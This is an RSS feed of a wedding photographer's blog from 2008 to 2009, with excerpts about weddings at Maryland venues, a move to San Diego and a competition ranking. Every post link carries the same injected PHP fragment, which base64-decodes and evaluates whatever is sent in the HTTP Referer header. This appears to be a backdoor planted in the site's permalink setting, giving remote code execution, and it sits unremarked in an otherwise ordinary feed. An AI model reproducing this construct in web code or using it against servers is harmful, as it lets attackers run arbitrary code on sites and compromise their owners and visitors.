http://www.bishophotography.com/news Professional Wedding and Portrait Photographer and Worldwide Destination Weddings Wed, 20 May 2009 18:23:41 +0000 http://backend.userland.com/rss092 en The International Society for Professional Wedding Photographers just released the results of their Spring 2009 competition and I'm thrilled to announce I am currently ranked 12th worldwide!  Check out the full story over on bishophoto.com  http://www.bishophotography.com/news/2009/05/20/international-society-for-professional-photography-awards/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ My first wedding of 2009 back in Maryland was a fabulous wedding at Herrington on the Bay with Crissy and Joe.  I absolutely love Herrington Harbor, it's one of my favorite places to shoot in Maryland.  The light always seems to be incredible no matter what time of day the ceremony is. ... http://www.bishophotography.com/news/2009/05/12/herrington-harbor-wedding-of-crissy-and-joe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ If you haven't noticed, it's been a long time since I last updated my blog.  Not that there hasn't been anything going on, on the contrary, I've been busy busy busy!  I'm excited about the upcoming wedding season, and want to make sure I keep in touch with everyone and ... http://www.bishophotography.com/news/2009/04/15/spring-wedding-season/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Erin and Christos were married on the 12th of December at the Cloisters in Baltimore. It was a great way for me to wrap up the 2008 wedding season and I'm thrilled that Erin and Christos chose to work with me on their wedding. I had the opportunity ... http://www.bishophotography.com/news/2008/12/29/erin-and-christos-wedding-at-the-cloisters-castle/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Wow! It's been a while and things have been going crazy out here in California, but I haven't forgotten about my latest wedding and wanted to share some of the awesome images from Christy and Matt's wedding.  Christy and Matt were married at the Church of the Immaculate Conception in ... http://www.bishophotography.com/news/2008/12/09/1840s-ballroom-wedding-of-christy-and-matt/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Well, I had a great and busy weekend before Thanksgiving and want to share images from the weddings I shot while I was back in Maryland.   Kelly and Bruce were married on Friday the 14th of November at the Strathmore Mansion in Bethesda Maryland.  It was a cool and wet evening, but ... http://www.bishophotography.com/news/2008/12/02/strathmore-mansion-wedding-of-kelly-and-bruce/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ What a fabulous way to wrap up my Maryland wedding season before heading to San Diego!  Anne and Joe were married at Swan Harbor Farm in Havre de Grace, Maryland and they couldn't ask for a better more beautiful day in late October than the one they got.  The night before their ... http://www.bishophotography.com/news/2008/11/18/swan-harbor-farm-wedding-anne-and-joe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Jennifer and Matthew had an amazing day and this was the first wedding of the year where I felt like we were actually enjoying some of the Fall colors.  Jennifer and her girls got ready at Jennifer's Maid of honor's house.  Nicole Palermo did the makeup for the girls while ... http://www.bishophotography.com/news/2008/11/10/wedding-at-towson-golf-and-country-club-jennifer-and-matthew/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Hello to everyone that's been checking and waiting for an update.  It's taken a long time to get across country and to get all set up but it's official.  Internet is active now, I'm working on catching up on all my emails that I've missed for the past couple weeks ... http://www.bishophotography.com/news/2008/11/07/online-in-sunny-san-diego/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Kristin and Jackson were married outside at the Pier 5 hotel in Baltimore's Inner Harbor.  It was an absolutely beautiful day for their wedding and I was so happy to be a part of it.  Kristin and her girls got ready in this incredible suite inside the Pier 5 hotel.  The room ... http://www.bishophotography.com/news/2008/10/22/pier-5-hotel-wedding-of-kristin-and-jackson/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Robyn and David were married on the rainiest day of the year ... it absolutely poured ... over six inches of rain!  So, their ceremony was moved from outside to inside the American Visionary Arts Museum into the sculpture barn, but it rained so much that the sculpture barn flooded, and it ... http://www.bishophotography.com/news/2008/10/14/wedding-at-the-american-visionary-arts-museum-robyn-and-david/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ The Elkridge Furnace Inn is always a great place for a wedding and reception.   Kris and Jon had their ceremony at the Church of the Ascension in Halethorp and then headed to the Elkridge Furnace Inn for their reception.The luck that my couples have had weather-wise seems to have run out ... http://www.bishophotography.com/news/2008/10/10/wedding-at-the-elkridge-furnace-inn-kris-and-jon/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ I met Laura at my 7/7/7 wedding last year of Michael and Sarah.  I was thrilled when she called me about her upcoming wedding at the State House in St. Mary's Maryland.   Laura and her girls got ready at her friend, Heather's house, which is a beautiful place back in the woods and ... http://www.bishophotography.com/news/2008/09/26/st-marys-state-house-wedding-of-laura-and-david/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ I wanted to share this awesome video by Monday Isa of Quince Video that he shot of my Trash the Dress session in Patapsco State Park with Jenni.  Monday and I are going to be working on a version of this video that includes some of the stills from the shoot too, ... http://www.bishophotography.com/news/2008/09/24/trash-the-dress-video/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ A couple weeks ago I had an awesome Trash the Dress session with Jenni from Forever Yesterday in Patapsco State Park just outside of Baltimore.  Jenni contacted me near the beginning of Summer and we started talking about doing a TTD session together.  She was married five years ago in Germany and ... http://www.bishophotography.com/news/2008/09/19/trash-the-dress-ttd-portraits-in-patapsco-state-park/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ That's right, it's official! I am opening up Bishop Photography in sunny San Diego, California! I traveled there this summer to visit and meet some friends and fellow photographers and decided to hang my shingle in one of the most beautiful parts of our country.  Now, this doesn't mean I'm leaving my ... http://www.bishophotography.com/news/2008/09/19/bishop-photography-expands-to-san-diego-california/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ It finally got hot, but waited until September to do it! Hannah and Dak were married at the Sotterley Plantation in southern Maryland on what seemed, one of the hottest days of the year.  I was blown away by this place though, as it seemed to have perpetually good light.   The ... http://www.bishophotography.com/news/2008/09/17/hannah-dak-and-frisco-too/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ I had the opportunity to photograph Alyson and Lowell for their engagement session at their home and around Fells Point earlier this year.  Although Alyson plays coy at not liking her picture taken, she's a great model, and looked beautiful both at her engagement session as well as on her wedding day ... http://www.bishophotography.com/news/2008/09/10/alyson-and-lowells-wedding/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Rana and Nilesh had an amazing wedding at the 1840s Ballroom in downtown Baltimore.  The whole day was a rich tapestry of the cultural and religious influences on each of their lives.  From the ceremony being officiated by a christian minister, to a reading from the Cree Nation, to Nilesh's good friend ... http://www.bishophotography.com/news/2008/09/06/rana-and-nilesh/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Keisha and Felix had an awesome wedding on a Thursday afternoon at Ceresville Mansion in Frederick, MD.  While the girls were busy finishing up the programs, doing hair and makeup and writing out the table placecards, the guys were busy playing catch, relaxing, playing video games and watching the David ... http://www.bishophotography.com/news/2008/09/03/keisha-and-felix/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Diana and Aaron were married on yet an another amazing day in Rockville, MD.  I really can't believe how lucky we've been all summer with not only no rain, but cool clear days.  Diana and her girls started the day getting ready at the Perez Salon in Rockville.  From there they went ... http://www.bishophotography.com/news/2008/08/26/diana-and-aaron/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Lisa and Michael were referred to me by Michael's cousin, Mandy who's wedding I shot a couple years ago. They planned a very intimate affair at the State House in St. Mary's Maryland where they both went to college. It was an amazingly beautiful day with an outdoor ceremony and ... http://www.bishophotography.com/news/2008/08/12/lisa-and-michael/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ I'm just posting about the amazing week I had at the Roots workshop in Cape Cod in July. Since I returned, I have been busy getting back to work, image editing, album designing, meeting with couples for 2009 ... all of the things I do on a daily basis, ... http://www.bishophotography.com/news/2008/08/06/roots/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Jennifer and I had the opportunity to work together for the second time this year at Melissa and Gabe's wedding. Melissa and her girls got ready at her parents house, while Jennifer photographed Gabe and the guys playing Wii at a friends house! After getting ready Melissa and Gabe were ... http://www.bishophotography.com/news/2008/07/28/melissa-and-gabe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ It's been a long time, but as promised, I'm posting images from the second day of my shoot with Rudy and Nicole. Rudy and I had talked about making some more creative images both for our portfolios as well as for his salon. We began talking about a friend ... http://www.bishophotography.com/news/2008/07/25/angels-and-the-french-aristocrats/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Erin and Greg were married at the Chesapeake Beach Spa and Resort on one of the hottest days so far this summer! Gladly for Greg and the guys, they wore linen suits which helped to keep them a bit cooler. Both Erin and the Girls as well ... http://www.bishophotography.com/news/2008/07/22/erin-and-greg/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Another incredibly lucky weather day for me and my couple! Jamie and Rich were married at Herrington Harbor in Chesapeake Beach Maryland.  Jamie and the girls got ready at the Chesapeake Beach Spa and Resort then met Rich and his guys at Herrington before the ceremony.  Originally Jamie and Rich had planned to see ... http://www.bishophotography.com/news/2008/07/09/jamie-and-rich/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Well it's the second year I've gone to see the Dundalk Fireworks and the second year it has absolutely poured on us.  I tell you, if you've never been, it's like no other fireworks display I've been to before.  I swear I'm in the Wild West when I go.  Not ... http://www.bishophotography.com/news/2008/07/07/happy-4th-of-july/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ My friend and personal hair stylist Rudy is opening a new salon in Perry Hall, MD called Chrome.  He is an amazing hair stylist, and I spoke about him in my post about the Virginia shoot.  He recently asked me to work with him in creating images that would be ... http://www.bishophotography.com/news/2008/07/02/chrome-salon/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Wow! What color, I gotta say, I had a hard time editing Alicia and Jeremiah's wedding because of how bright and beautiful all the color was on their wedding day.  Alicia's bridesmaids were in a bright bright yellow and the groomsmen were all in linen suits (good for them as ... http://www.bishophotography.com/news/2008/06/30/alicia-and-jeremiah/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ What happens when you take four photographers, one makeup artist and assistant, one hair stylist and twelve models to a farm in Virginia? Well, I guess a lot of things COULD happen, but the answer I was looking for was 'you get some really amazing images'.At the beginning of June, ... http://www.bishophotography.com/news/2008/06/24/virginia-photoshoot/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Rain, rain, go away! We have had an amazing spring! Really.  The weather has been amazing, it has teased my couples time and time again with threats of raining out their wedding plans and  Carolyn and Matt's wedding was no exception.  I joined  Carolyn and her girls at Salon Giovanna on Falls Road ... http://www.bishophotography.com/news/2008/06/19/carolyn-and-matt/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Yay! I just received an email from Rhiana that she saw one of my images on the Baltimore Sun website. The photo is from Mandy and Josh's wedding, and Mandy posted it for a Mother's Day photo gallery. It's always great to see images from weddings that ... http://www.bishophotography.com/news/2008/06/19/a-mothers-love/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ At the end of May Amee and Vijesh were married in Michigan; three days and 8,000 plus images later, I'm just crawling out from underneath the editing pile and wanted to share some of the amazing images from their celebration. If you want to see a party and LOTS ... http://www.bishophotography.com/news/2008/06/11/amee-and-vijesh/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ In the words of Bob's best man, and the priest from 'The Princess Bride' .... 'Love, true love is what brings us together today'. Bob and Nina were married at Nina's parent's home on a beautiful day. After a full week of raining, with friends and relatives from ... http://www.bishophotography.com/news/2008/06/03/nina-and-bob/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ I'm all packed, well ... mostly, still some last minute things, gadgets, and podcasts to download for the flight, but I'm heading out to Michigan to shoot Amee and Vijesh's wedding.  It should be an awesome time, I'll be shooting Friday, Saturday and Sunday and Pete gets in Saturday night and will ... http://www.bishophotography.com/news/2008/05/22/leavin-on-a-jet-plane/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Alyson and Lowell and I got together at their home in Canton, and drove down to Fells Point for their engagement session on Sunday.  Even though Alyson said she was not fond of being photographed, Lowell did an awesome job of getting her to relax and just be herself.  I ... http://www.bishophotography.com/news/2008/05/21/alyson-and-lowell-esession/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Renee and Jay were married and held their reception at the Grey Rock Mansion in Pikesville, Maryland. I spoke with Renee in the morning while the rain clouds were still hanging over head. She had pretty much resigned ourselves to having the entire wedding inside, but what a difference ... http://www.bishophotography.com/news/2008/05/19/renee-and-jay/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ I'm speechless ... really. I have an amazing job, and when I work with couples like Megan and Matt, I have the opportunity to appreciate what a true gift it is to be able to do what I love, and be involved in such momentous occasions in families lives. ... http://www.bishophotography.com/news/2008/05/13/megan-and-matthew/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Well, you're here, so obviously you know all the months of sweating details have finally paid off.  The new site is up and live.  Thank you Shawn from Liquified Creative for sticking with me through all my nit-picking to get the site looking and working just the way I (and he) envisioned. ... http://www.bishophotography.com/news/2008/05/09/its-alive/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/